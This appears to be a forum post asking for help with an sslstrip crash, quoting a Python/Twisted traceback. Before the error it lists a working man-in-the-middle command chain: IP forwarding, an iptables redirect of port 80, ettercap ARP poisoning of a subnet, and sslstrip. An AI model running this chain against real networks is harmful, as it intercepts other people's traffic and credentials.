Running the following commands but keep receiving the error in sslstrip summarised below.....
all was working fine until today....


echo 1 > /proc/sys/net/ipv4/ip_forward

cat /proc/sys/net/ipv4/ip_forward

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

ettercap -Tq -M arp:remote /192.168.x.x-130/ -P autoadd -i wlan0

sslstrip -a -l 8080

sslstrip 0.9 by Moxie Marlinspike running...
Unhandled Error
Traceback (most recent call last):
File "/usr/bin/sslstrip", line 105, in main
reactor.run()
File "/usr/lib/python2.7/dist-packages/twisted/internet/base.py", line 1169, in run
self.mainLoop()
File "/usr/lib/python2.7/dist-packages/twisted/internet/base.py", line 1181, in mainLoop
self.doIteration(t)
File "/usr/lib/python2.7/dist-packages/twisted/internet/pollreactor.py", line 167, in doPoll
log.callWithLogger(selectable, _drdw, selectable, fd, event)
--- <exception caught here> ---
File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 84, in callWithLogger
return callWithContext({"system": lp}, func, *args, **kw)
File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 69, in callWithContext
return context.call({ILogContext: newCtx}, func, *args, **kw)
File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 118, in callWithContext
return self.currentContext().callWithContext(ctx, func, *args, **kw)
File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 81, in callWithContext
return func(*args,**kw)
File "/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 599, in _doReadOrWrite
self._disconnectSelectable(selectable, why, inRead)
File "/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 263, in _disconnectSelectable
selectable.connectionLost(f)
File "/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 433, in connectionLost
Connection.connectionLost(self, reason)
File "/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 277, in connectionLost
protocol.connectionLost(reason)
File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 455, in connectionLost
self.handleResponseEnd()
File "/usr/share/sslstrip/sslstrip/ServerConnection.py", line 119, in handleResponseEnd
HTTPClient.handleResponseEnd(self)
File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 466, in handleResponseEnd
self.handleResponse(b)
File "/usr/share/sslstrip/sslstrip/ServerConnection.py", line 133, in handleResponse
self.client.write(data)
File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 898, in write
raise RuntimeError('Request.write called on a request after '
exceptions.RuntimeError: Request.write called on a request after Request.finish was called.
Unhandled Error
Traceback (most recent call last):
File "/usr/bin/sslstrip", line 105, in main
reactor.run()
File "/usr/lib/python2.7/dist-packages/twisted/internet/base.py", line 1169, in run
self.mainLoop()
File "/usr/lib/python2.7/dist-packages/twisted/internet/base.py", line 1181, in mainLoop
self.doIteration(t)
File "/usr/lib/python2.7/dist-packages/twisted/internet/pollreactor.py", line 167, in doPoll
log.callWithLogger(selectable, _drdw, selectable, fd, event)
--- <exception caught here> ---
File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 84, in callWithLogger
return callWithContext({"system": lp}, func, *args, **kw)
File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 69, in callWithContext
return context.call({ILogContext: newCtx}, func, *args, **kw)
File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 118, in callWithContext
return self.currentContext().callWithContext(ctx, func, *args, **kw)
File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 81, in callWithContext
return func(*args,**kw)
File "/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 599, in _doReadOrWrite
self._disconnectSelectable(selectable, why, inRead)
File "/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 263, in _disconnectSelectable
selectable.connectionLost(f)
File "/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 433, in connectionLost
Connection.connectionLost(self, reason)
File "/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 277, in connectionLost
protocol.connectionLost(reason)
File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 455, in connectionLost
self.handleResponseEnd()
File "/usr/share/sslstrip/sslstrip/ServerConnection.py", line 119, in handleResponseEnd
HTTPClient.handleResponseEnd(self)
File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 466, in handleResponseEnd
self.handleResponse(b)
File "/usr/share/sslstrip/sslstrip/ServerConnection.py", line 133, in handleResponse

Anyone any ideas?

Rab.